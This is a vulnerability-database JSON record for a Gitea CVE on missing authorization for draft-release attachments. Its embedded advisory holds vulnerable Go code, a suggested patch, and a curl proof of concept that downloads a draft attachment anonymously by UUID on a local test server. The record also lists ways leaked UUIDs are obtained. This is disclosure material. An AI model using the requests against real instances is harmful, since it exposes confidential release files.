{"id":"CVE-2026-58432","aliases":["EUVD-2026-58159","GHSA-q9pg-jj6x-j9p6","GO-2026-6070","SUSE-SU-2026:23216-1","SUSE-SU-2026:23227-1","openSUSE-SU-2026:21551-1"],"status":"published","title":"Missing Authorization and Authorization Bypass Through User-Controlled Key and Incorrect Permission Assignment for Critical Resource and Exposure of Sensitive Information to an Unauthorized Actor in code.gitea.io/gitea","description":"Missing Authorization and Authorization Bypass Through User-Controlled Key and Incorrect Permission Assignment for Critical Resource and Exposure of Sensitive Information to an Unauthorized Actor in code.gitea.io/gitea","severity":{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"adp","from":"cve"},"epss":{"day":"2026-11-12","score":0.00433,"percentile":0.38042,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-200","CWE-639","CWE-732","CWE-862"],"published":"2026-07-21T20:19:25Z","modified":"2026-10-28T02:30:54Z","fixes":[{"ecosystem":"Go","package":"code.gitea.io/gitea","fixed_in":["1.27.0"],"sources":["ghsa","osv"]},{"ecosystem":"Go","package":"gitea.dev","fixed_in":["1.27.0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"code.gitea.io/gitea","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.27.0"}]}]},{"source":"osv","ecosystem":"Go","package":"code.gitea.io/gitea","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.27.0"}]}]},{"source":"osv","ecosystem":"Go","package":"gitea.dev","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.27.0"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260727T201416-160000.1.1"}]}],"bundled":77},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260727T201416-160000.1.1"}]}],"bundled":77},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260727T201416-160000.1.1"}]}],"bundled":77},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260727T201416-160000.1.1"}]}],"bundled":77},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260727T201416-160000.1.1"}]}],"bundled":77}],"products":[{"vendor":"gitea","product":"gitea open source git server"}],"references":[{"url":"https://github.com/go-gitea/gitea/security/advisories/GHSA-q9pg-jj6x-j9p6","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://github.com/go-gitea/gitea/releases/tag/v1.27.0","tags":["release-notes","advisory","web"]},{"url":"https://blog.gitea.com/gitea-1.27.0-is-released/","tags":["release-notes","advisory"]},{"url":"https://github.com/go-gitea/gitea/pull/38318","tags":["web"]},{"url":"https://github.com/go-gitea/gitea/pull/38325","tags":["web"]},{"url":"https://github.com/go-gitea/gitea/commit/ab10e37acf7fabf7829a485cc3e13d118638a856","tags":["web"]},{"url":"https://github.com/go-gitea/gitea/commit/f7fd51022495737cf960b8c4053a27d69148f664","tags":["web"]},{"url":"https://github.com/advisories/GHSA-q9pg-jj6x-j9p6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/58xxx/CVE-2026-58432.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58432","tags":["advisory"]},{"url":"https://github.com/go-gitea/gitea","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623216-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-2303","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-23603","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-24451","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25038","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-29181","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-30246","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32952","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34783","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35204","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35205","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35206","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-37462","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39883","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40611","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40890","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41178","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41506","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41642","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41643","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42285","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42306","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42328","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42554","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42931","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44166","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44283","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44301","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44332","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44517","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44740","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44973","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45022","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45045","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45135","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45571","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46384","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46385","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48978","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49837","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49838","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50151","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50162","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50163","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50274","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52844","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52845","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52846","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53624","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54063","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54448","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55982","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55984","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55987","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56750","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58417","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58418","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58421","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58425","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58426","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58427","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58431","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58432","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58434","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58435","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58438","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58439","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58441","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58442","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58443","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58445","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58507","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58510","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59766","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6993","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7020","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7482","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-8276","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623227-1/","tags":["advisory"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-58432","title":"Missing Authorization and Authorization Bypass Through User-Controlled Key and Incorrect Permission Assignment for Critical Resource and Exposure of Sensitive Information to an Unauthorized Actor in code.gitea.io/gitea","description":"Missing Authorization and Authorization Bypass Through User-Controlled Key and Incorrect Permission Assignment for Critical Resource and Exposure of Sensitive Information to an Unauthorized Actor in code.gitea.io/gitea","status":"published","published":"2026-08-13T16:44:50.34Z","modified":"2026-08-14T19:16:44.337Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"adp"}],"cwes":["CWE-200","CWE-639","CWE-732","CWE-862"],"updated_at":"2026-11-02T13:47:28.691429Z"}],"euvd":[{"id":"EUVD-2026-58159","description":"Missing Authorization and Authorization Bypass Through User-Controlled Key and Incorrect Permission Assignment for Critical Resource and Exposure of Sensitive Information to an Unauthorized Actor in code.gitea.io/gitea","status":"published","published":"2026-08-13T16:44:50Z","modified":"2026-08-14T19:16:44Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T18:01:53.534541Z"}],"ghsa":[{"id":"GHSA-q9pg-jj6x-j9p6","title":"Gitea: draft release attachment disclosure via missing web authorization","description":"### Summary\n\nGitea's draft-release access control is enforced only on the API release endpoints (`/api/v1/repos/{owner}/{repo}/releases/{id}` and its `/assets/...` sub-routes) but not on the web-level UUID-based attachment endpoints (`/attachments/{uuid}`, `/{owner}/{repo}/attachments/{uuid}`, `/{owner}/{repo}/releases/attachments/{uuid}`). Anyone (including unauthenticated callers) who has, learns, or otherwise obtains the UUID of an attachment belonging to a draft release can download its full contents, despite the draft release itself being correctly hidden from listings and direct-by-ID API lookups.\n\nThe `browser_download_url` field returned by the API (visible to anyone with write access to the repo) embeds the UUID. Forwarding this URL by email, log scrape, browser history, screenshot, or any side channel grants any recipient unauthenticated access to the attachment, indefinitely. This is the identical insider-leak threat model that Gitea fixed on the API surface in PR #36659 (CVE-2026-27660, Feb 2026) by adding `canAccessReleaseDraft` checks. The web mirror was missed.\n\n### Details\n\n**Root cause:** the web-side handler `ServeAttachment` (`routers/web/repo/attachment.go:122-203`) checks only repo-level unit-read permission, never the `IsDraft` flag of the linked release:\n\n```go\n// routers/web/repo/attachment.go:122-203, current implementation\nfunc ServeAttachment(ctx *context.Context, uuid string) {\n    attach, err := repo_model.GetAttachmentByUUID(ctx, uuid)\n    if err != nil { ... }\n\n    // cross-repo guard (only fires when accessed via repo-scoped URL)\n    if attach.CreatedUnix \u003e repo_model.LegacyAttachmentMissingRepoIDCutoff \u0026\u0026\n       ctx.Repo.Repository != nil \u0026\u0026 ctx.Repo.Repository.ID != attach.RepoID {\n        ctx.HTTPError(http.StatusNotFound)\n        return\n    }\n\n    unitType, repoID, err := repo_service.GetAttachmentLinkedTypeAndRepoID(ctx, attach)\n    if unitType == unit.TypeInvalid {\n        if !(ctx.IsSigned \u0026\u0026 attach.UploaderID == ctx.Doer.ID) {\n            ctx.HTTPError(http.StatusNotFound)\n            return\n        }\n    } else {\n        var perm access_model.Permission\n        // ... resolves repo perm\n        if !perm.CanRead(unitType) {       // \u003c-- ONLY check\n            ctx.HTTPError(http.StatusNotFound)\n            return\n        }\n        // NO release.IsDraft check\n        // NO canAccessReleaseDraft equivalent\n    }\n    // ... serves the file\n}\n```\n\nThe helper `GetAttachmentLinkedTypeAndRepoID` (`services/repository/repository.go:185-207`) returns `(unit.TypeReleases, rel.RepoID)` for release-linked attachments but discards the release object (including its `IsDraft` flag) before returning.\n\n**Mounted routes affected** (all reach `ServeAttachment` via `GetAttachment`):\n\n| File:line | Route | Auth gate |\n|---|---|---|\n| `routers/web/web.go:874` | `GET /attachments/{uuid}` (top-level) | `optionsCorsHandler() + webAuth.AllowBasic + webAuth.AllowOAuth2`, accepts anonymous |\n| `routers/web/web.go:1284` | `GET /{owner}/{repo}/attachments/{uuid}` (issue-context) | repo context, anonymous OK |\n| `routers/web/web.go:1473` | `GET /{owner}/{repo}/releases/attachments/{uuid}` (release-context) | `webAuth.AllowBasic + webAuth.AllowOAuth2`, anonymous OK |\n| `routers/web/web.go:1491` | `GET /{owner}/{repo}/attachments/{uuid}` (legacy compatibility) | `webAuth.AllowBasic + webAuth.AllowOAuth2`, anonymous OK |\n\n**Reference: existing fix on the API surface (PR #36659, commit `1eced4a7c0`, Feb 22 2026):**\n\n```go\n// routers/api/v1/repo/release.go:24-37, added by PR #36659\nfunc canAccessReleaseDraft(ctx *context.APIContext) bool {\n    if !ctx.IsSigned || !ctx.Repo.Permission.CanWrite(unit.TypeReleases) {\n        return false\n    }\n    // ... API-token scope check\n}\n```\n\n`canAccessReleaseDraft` is called from `GetRelease` (line 80), `ListReleases` (line 178), `GetReleaseAttachment` (`release_attachment.go:37`), and `ListReleaseAttachments` (line 148). Every API code path now gates draft visibility on **write access**. The web-side `ServeAttachment` was not updated; it continues to gate only on **read access**, allowing anonymous and non-collaborator reads.\n\n**Suggested patch** at `routers/web/repo/attachment.go:166-172`, extending the existing permission check to also gate draft releases on write access:\n\n```go\n} else { // linked attachment\n    var perm access_model.Permission\n    if ctx.Repo.Repository == nil {\n        repo, err := repo_model.GetRepositoryByID(ctx, repoID)\n        if err != nil { ... }\n        perm, err = access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer)\n        if err != nil { ... }\n    } else {\n        perm = ctx.Repo.Permission\n    }\n\n    if !perm.CanRead(unitType) {\n        ctx.HTTPError(http.StatusNotFound)\n        return\n    }\n\n    // NEW: if linked to a draft release, require write access to releases\n    if unitType == unit.TypeReleases \u0026\u0026 attach.ReleaseID != 0 {\n        rel, err := repo_model.GetReleaseByID(ctx, attach.ReleaseID)\n        if err == nil \u0026\u0026 rel.IsDraft \u0026\u0026 !perm.CanWrite(unit.TypeReleases) {\n            ctx.HTTPError(http.StatusNotFound)\n            return\n        }\n    }\n}\n```\n\nAlternatively, `GetAttachmentLinkedTypeAndRepoID` could return the linked release object so the caller does not need a second DB read.\n\n### PoC\n\nTested against `v1.27.0+dev-228-ga564f0587a` (commit `a564f0587a`), default configuration, local-storage attachments.\n\n**Setup:**\n- `alice` owns public repo `alice/alice-pub`\n- `carol` is a registered user with no relationship to `alice` (no collaboration, no org membership)\n\n**Step 1: alice creates a confidential draft release and uploads a sensitive file:**\n\n```bash\n$ DRAFT=$(curl -s -H \"Authorization: token $ALICE_TOKEN\" -H 'Content-Type: application/json' \\\n    -d '{\"tag_name\":\"v1.0-CONFIDENTIAL\",\"target_commitish\":\"main\",\n         \"name\":\"INTERNAL PREVIEW\",\"body\":\"unreleased build\",\n         \"draft\":true,\"prerelease\":false}' \\\n    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases)\n$ DID=$(echo \"$DRAFT\" | jq -r .id)         # e.g. 15\n\n$ echo \"TOP_SECRET_BUILD_ARTIFACT\" \u003e confidential.txt\n$ ATT=$(curl -s -H \"Authorization: token $ALICE_TOKEN\" \\\n    -F \"attachment=@confidential.txt;filename=confidential.txt\" \\\n    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets)\n$ UUID=$(echo \"$ATT\" | jq -r .uuid)\n$ ATT_ID=$(echo \"$ATT\" | jq -r .id)\n# UUID: a4701819-6f12-42e4-82fb-14b2a1191e8a\n# browser_download_url returned: http://127.0.0.1:3000/attachments/\u003cUUID\u003e\n```\n\n**Step 2: non-collaborator carol cannot see the draft via the API (correct):**\n\n```bash\n$ curl -s -o /dev/null -w '%{http_code}\\n' \\\n    -H \"Authorization: token $CAROL_TOKEN\" \\\n    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets/$ATT_ID\n404\n```\n\n**Step 3: but carol (and even anonymous callers) CAN download via UUID-based web endpoints:**\n\n```bash\n# (C) carol, top-level\n$ curl -s -H \"Authorization: token $CAROL_TOKEN\" \\\n    http://127.0.0.1:3000/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK, full content\n\n# (D) carol, repo-scoped legacy\n$ curl -s -H \"Authorization: token $CAROL_TOKEN\" \\\n    http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK\n\n# (E) carol, release-scoped web\n$ curl -s -H \"Authorization: token $CAROL_TOKEN\" \\\n    http://127.0.0.1:3000/alice/alice-pub/releases/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK\n\n# (G) anonymous, top-level (NO auth header)\n$ curl -s http://127.0.0.1:3000/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK, no auth needed at all\n\n# (H) anonymous, repo-scoped legacy\n$ curl -s http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK\n```\n\n**Verdict matrix:**\n\n| Endpoint | Carol (auth, non-collab) | Anonymous |\n|---|---|---|\n| API `/api/v1/.../releases/{id}/assets/{aid}` | 404 (gated) | 404 (gated) |\n| API `/api/v1/.../releases/{id}/assets` | 404 (gated) | 404 (gated) |\n| Web `/attachments/{uuid}` | **200 LEAKS** | **200 LEAKS** |\n| Web `/{owner}/{repo}/attachments/{uuid}` | **200 LEAKS** | **200 LEAKS** |\n| Web `/{owner}/{repo}/releases/attachments/{uuid}` | **200 LEAKS** | **200 LEAKS** |\n| Web `browser_download_url` (as returned by API) | **200 LEAKS** | **200 LEAKS** |\n\n### Impact\n\n**Vulnerability class:** Missing authorization (CWE-862) on a parallel code path that was overlooked when the same authorization check was added in a separate handler. This is an **incomplete fix for CVE-2026-27660**.\n\n**Why this is an exploitable vulnerability, not a \"configure it differently\" issue:**\n\nThe Gitea draft-release feature exists for exactly one purpose: stage release content that is not yet meant to be public. The fix in PR #36659 (CVE-2026-27660) explicitly stated *\"Draft release and its attachments need a write permission to access\"* and accordingly gated `GET /api/v1/repos/.../releases/{id}` and `GET /api/v1/repos/.../releases/{id}/assets/{aid}` behind `canAccessReleaseDraft`. The web-side `ServeAttachment` handler (which is reachable from three separate routes on the same host as the API and serves the same underlying attachment object) was not updated. The result is that the security promise communicated to operators (\"draft attachments are visible only to repo writers\") is silently false on the web URLs that the API itself hands out in `browser_download_url`.\n\nThe maintainer cannot reframe this as \"UUID is a capability token\" because Gitea has already explicitly **rejected** that model on the API surface for this exact resource class two months ago. The threat model is identical; only the handler is different.\n\n**Real-world content that leaks under this bug:**\n\nDraft releases are routinely used to stage:\n\n- **Pre-release signed binaries** (Windows MSIs, macOS notarized DMGs, Linux RPM/DEB) before publication: unauthenticated download of unannounced builds.\n- **Security-fix release candidates**: pre-disclosure window for downstream patching, exploitable if the binary diff reveals the bug.\n- **Internal SBOMs, signing manifests, third-party license bundles**: supply-chain reconnaissance.\n- **Release-key public-blob bundles, attestation files**: key-rotation tracking by external observers.\n- **Build artifacts pinned to draft tags by CI pipelines that publish-on-merge**: access to artifacts the release engineer hasn't decided to ship.\n- **CHANGELOG / release-notes drafts**: pre-disclosure of upcoming features or vulns.\n\nThese are not hypothetical use cases. They are the documented and intended use of the draft-release feature on every git forge.\n\n**Realistic attack scenarios (insider-leak threat model, same as CVE-2026-27660):**\n\n1. **Browser-UI \"Copy link\" causes the URL to leave the trust boundary.** A release engineer is preparing the next release and copies the `browser_download_url` to test the binary on a fresh VM, then pastes it into a Slack thread, a Jira ticket, an email to QA, or a commit message (\"`# binary: $URL`\"). Anyone who later reads that channel (including ex-employees, contractors who lost write access, or anyone scraping public Slack archives) has anonymous, unauthenticated, indefinite access to the draft binary.\n\n2. **Reverse-proxy or observability stack records the URL.** nginx, Caddy, HAProxy, Cloudflare, Datadog, Splunk, ELK: any HTTP-instrumentation pipeline records request paths. Anyone with log read access can extract UUIDs and pull the underlying attachment without authenticating to Gitea at all. For ELT pipelines that copy logs to cloud buckets or data lakes, that read access can be very broad.\n\n3. **Browser history, Referer, extension telemetry.** Once an authorized user downloads a draft attachment, the UUID-bearing URL lives in browser history, optional cloud-synced history (Chrome Sync, Edge Sync, Firefox Sync, recoverable on any signed-in device), browser extension telemetry, and any `Referer` header sent if the URL is loaded in a frame or via an inline asset.\n\n4. **Search-engine and mirror indexing.** Internal portals, asset inventories, dependency scanners, and SaaS supply-chain tools that follow `browser_download_url` to index release artifacts will index the draft URL just like a published one. Once indexed, the URL is discoverable for as long as the index lives.\n\n5. **Embedded links in public content.** A draft-release-attachment URL pasted into an issue comment, a PR description, a wiki page, or a README is rendered as a clickable `\u003ca href\u003e` to any reader of that public page. Readers don't see the draft release itself but get the attachment behind the link they click.\n\n**Severity calibration via direct precedent:**\n\n| Property | CVE-2026-27660 (this finding's API mirror) | This finding |\n|---|---|---|\n| Vulnerability class | Missing authorization on draft release | Missing authorization on draft release attachments |\n| Attack vector | Network | Network |\n| Privileges required | None (relies on UUID/ID being leaked) | None (relies on UUID being leaked) |\n| Attack complexity | High (must obtain UUID/ID) | High (must obtain UUID) |\n| Confidentiality | High | High |\n| Integrity / Availability | None | None |\n| Fix complexity | ~5-line authz check added at handler entry | ~5-line authz check added at handler entry |\n| Severity assigned by upstream | Medium | **Should be Medium (5.9) by direct precedent** |\n\nIf CVE-2026-27660 was accepted as a Medium-severity security advisory worth a dedicated PR, an identical bug in the web mirror of the same data is also Medium-severity. The maintainer cannot consistently rate this lower without retroactively downgrading their own previous fix.\n\n**CVSS 3.1:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N` = **5.9 / Medium**\n\n- `AV:N`: reachable over the network.\n- `AC:H`: attacker must obtain the UUID via a leak channel (same prerequisite class as the upstream CVE).\n- `PR:N`: no authentication required (anonymous works).\n- `UI:N`: no user interaction required.\n- `S:U`: scope unchanged (still bounded to Gitea's auth boundary; the draft release was supposed to be inside that boundary but isn't).\n- `C:H`: full confidentiality breach of the attachment contents.\n- `I:N` / `A:N`: read-only.\n\n**Out of scope:** brute-forcing the UUID is infeasible (122 bits of UUIDv4 entropy). This is a confidentiality-loss bug, not an integrity or availability bug.\n\n**Deployment scale:** Gitea is a top-three self-hosted forge (~30 k+ public Internet-reachable instances per Shodan, plus very large numbers of internal corporate deployments and Codeberg / Forgejo derivatives that inherit the same code). The bug is present in the default configuration; no operator action is required to make a deployment vulnerable.\n\n**Fix complexity:** trivial. Add a `release.IsDraft \u0026\u0026 !perm.CanWrite(unit.TypeReleases)` check in `ServeAttachment` (single function, ~5 lines added). Patch is provided in the Details section. No data migration, no UX change, no breaking-API change.","status":"published","published":"2026-07-21T20:19:25Z","modified":"2026-07-21T20:19:26Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-200","CWE-639","CWE-732","CWE-862"],"updated_at":"2026-11-02T14:40:50.444681Z"}],"nvd":[{"id":"CVE-2026-58432","description":"Missing Authorization and Authorization Bypass Through User-Controlled Key and Incorrect Permission Assignment for Critical Resource and Exposure of Sensitive Information to an Unauthorized Actor in code.gitea.io/gitea","status":"published","published":"2026-08-13T17:17:27.157Z","modified":"2026-08-26T16:53:48.3Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-200","CWE-639","CWE-732","CWE-862"],"updated_at":"2026-11-02T14:12:37.557758Z"}],"osv":[{"id":"CVE-2026-58432","title":"Missing Authorization and Authorization Bypass Through User-Controlled Key and Incorrect Permission Assignment for Critical Resource and Exposure of Sensitive Information to an Unauthorized Actor in code.gitea.io/gitea","description":"Missing Authorization and Authorization Bypass Through User-Controlled Key and Incorrect Permission Assignment for Critical Resource and Exposure of Sensitive Information to an Unauthorized Actor in code.gitea.io/gitea","status":"published","published":"2026-08-13T16:44:50.34Z","modified":"2026-10-28T02:30:54.523789996Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-200","CWE-639","CWE-732","CWE-862"],"updated_at":"2026-11-02T15:45:12.496548Z"},{"id":"GHSA-q9pg-jj6x-j9p6","title":"Gitea: draft release attachment disclosure via missing web authorization","description":"### Summary\n\nGitea's draft-release access control is enforced only on the API release endpoints (`/api/v1/repos/{owner}/{repo}/releases/{id}` and its `/assets/...` sub-routes) but not on the web-level UUID-based attachment endpoints (`/attachments/{uuid}`, `/{owner}/{repo}/attachments/{uuid}`, `/{owner}/{repo}/releases/attachments/{uuid}`). Anyone (including unauthenticated callers) who has, learns, or otherwise obtains the UUID of an attachment belonging to a draft release can download its full contents, despite the draft release itself being correctly hidden from listings and direct-by-ID API lookups.\n\nThe `browser_download_url` field returned by the API (visible to anyone with write access to the repo) embeds the UUID. Forwarding this URL by email, log scrape, browser history, screenshot, or any side channel grants any recipient unauthenticated access to the attachment, indefinitely. This is the identical insider-leak threat model that Gitea fixed on the API surface in PR #36659 (CVE-2026-27660, Feb 2026) by adding `canAccessReleaseDraft` checks. The web mirror was missed.\n\n### Details\n\n**Root cause:** the web-side handler `ServeAttachment` (`routers/web/repo/attachment.go:122-203`) checks only repo-level unit-read permission, never the `IsDraft` flag of the linked release:\n\n```go\n// routers/web/repo/attachment.go:122-203, current implementation\nfunc ServeAttachment(ctx *context.Context, uuid string) {\n    attach, err := repo_model.GetAttachmentByUUID(ctx, uuid)\n    if err != nil { ... }\n\n    // cross-repo guard (only fires when accessed via repo-scoped URL)\n    if attach.CreatedUnix \u003e repo_model.LegacyAttachmentMissingRepoIDCutoff \u0026\u0026\n       ctx.Repo.Repository != nil \u0026\u0026 ctx.Repo.Repository.ID != attach.RepoID {\n        ctx.HTTPError(http.StatusNotFound)\n        return\n    }\n\n    unitType, repoID, err := repo_service.GetAttachmentLinkedTypeAndRepoID(ctx, attach)\n    if unitType == unit.TypeInvalid {\n        if !(ctx.IsSigned \u0026\u0026 attach.UploaderID == ctx.Doer.ID) {\n            ctx.HTTPError(http.StatusNotFound)\n            return\n        }\n    } else {\n        var perm access_model.Permission\n        // ... resolves repo perm\n        if !perm.CanRead(unitType) {       // \u003c-- ONLY check\n            ctx.HTTPError(http.StatusNotFound)\n            return\n        }\n        // NO release.IsDraft check\n        // NO canAccessReleaseDraft equivalent\n    }\n    // ... serves the file\n}\n```\n\nThe helper `GetAttachmentLinkedTypeAndRepoID` (`services/repository/repository.go:185-207`) returns `(unit.TypeReleases, rel.RepoID)` for release-linked attachments but discards the release object (including its `IsDraft` flag) before returning.\n\n**Mounted routes affected** (all reach `ServeAttachment` via `GetAttachment`):\n\n| File:line | Route | Auth gate |\n|---|---|---|\n| `routers/web/web.go:874` | `GET /attachments/{uuid}` (top-level) | `optionsCorsHandler() + webAuth.AllowBasic + webAuth.AllowOAuth2`, accepts anonymous |\n| `routers/web/web.go:1284` | `GET /{owner}/{repo}/attachments/{uuid}` (issue-context) | repo context, anonymous OK |\n| `routers/web/web.go:1473` | `GET /{owner}/{repo}/releases/attachments/{uuid}` (release-context) | `webAuth.AllowBasic + webAuth.AllowOAuth2`, anonymous OK |\n| `routers/web/web.go:1491` | `GET /{owner}/{repo}/attachments/{uuid}` (legacy compatibility) | `webAuth.AllowBasic + webAuth.AllowOAuth2`, anonymous OK |\n\n**Reference: existing fix on the API surface (PR #36659, commit `1eced4a7c0`, Feb 22 2026):**\n\n```go\n// routers/api/v1/repo/release.go:24-37, added by PR #36659\nfunc canAccessReleaseDraft(ctx *context.APIContext) bool {\n    if !ctx.IsSigned || 